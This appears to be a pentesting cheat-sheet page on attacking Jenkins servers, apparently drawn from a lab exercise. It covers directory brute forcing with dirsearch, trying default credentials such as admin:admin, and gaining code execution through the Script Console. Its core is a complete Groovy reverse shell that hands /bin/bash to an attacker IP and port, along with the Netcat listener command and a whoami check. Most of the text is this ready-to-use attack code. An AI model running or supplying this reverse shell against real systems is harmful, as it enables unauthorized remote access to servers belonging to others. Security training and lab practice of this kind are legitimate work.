> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/jenkins.md).
# Jenkins
### Open Script Consoles
You may find this open on many systems.
### groovy reverse shell
{% embed url="" %}
* **Directory Brute Forcing:** Nothing interesting found.
```
dirsearch -u http://10.1.243.1:8080 -e php,html,txt
```
* **Authentication:** \* The instance was secured with a login portal.
* **Weak Credentials Found:** `admin:admin`.
> **Note:** Always apply the **KISS (Keep It Simple, Stupid)** principle. Before looking for complex CVEs, test common/default credentials (e.g., `admin:admin`, `jenkins:jenkins`, `root:root`).
***
#### Jenkins Exploitation via Script Console
Jenkins features a "Script Console" (found under **Manage Jenkins > Script Console**) that allows users to execute arbitrary Groovy scripts on the server. This is a common vector for Remote Code Execution (RCE).
#### Reverse Shell (Groovy)
To gain a shell on the underlying Linux OS, a Groovy reverse shell script was executed.
**Groovy Script Used:**
```
String host="10.200.76.222";
int port=8044;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
**Execution Steps:**
1. **Start Listener:** On your attacker machine, start a Netcat listener.
```
nc -lvnp 8044
```
2. **Execute Script:** Paste the Groovy script into the Jenkins Script Console and click **Run**.
**Verify Access:** Once the connection is received, verify the user context.
```
whoami
# Output: jenkins
```